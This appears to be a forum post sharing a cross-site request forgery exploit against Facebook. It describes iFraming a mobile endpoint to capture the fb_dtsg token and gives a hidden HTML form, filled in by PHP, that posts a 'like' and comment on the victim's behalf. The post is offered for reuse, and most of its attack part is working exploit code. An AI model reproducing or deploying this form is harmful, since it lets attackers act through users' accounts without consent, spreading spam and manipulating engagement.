hey guys, the latest FB script was exploiting mobile version.. we were ale to iFrame this url 
http://m.facebook.com/ajax/dtsg.php
and the form only looking for fb_dtsg regardless of post_form_id
so you get the idea
for future findings..
cheers
http://m.facebook.com/ajax/dtsg.php
and the form only looking for fb_dtsg regardless of post_form_id
<form action="http://www.facebook.com/ajax/connect/external_edge_comment.php?__a=1" target="_self" method="post">
<input type="hidden" name="comment" value="titleeeeeeeeee">
<input type="hidden" name="connect_text" value="0">
<input type="hidden" name="edge_type" value="like">
<input type="hidden" name="fb_dtsg" value="<?php echo $_GET['fb_dtsg'] ?>">
<input type="hidden" name="href" value="http://site.net">
<input type="hidden" name="lsd" value="">
<input type="hidden" name="node_type" value="link">
<input type="hidden" name="page_id" value="">
<input type="hidden" name="post_form_id" value="7cc4e3689351c4adb46558539be0e953">
<input type="hidden" name="post_form_id_source" value="AsyncRequest">
<input type="hidden" name="story_fbid" value="0">
</form>
so you get the idea
cheers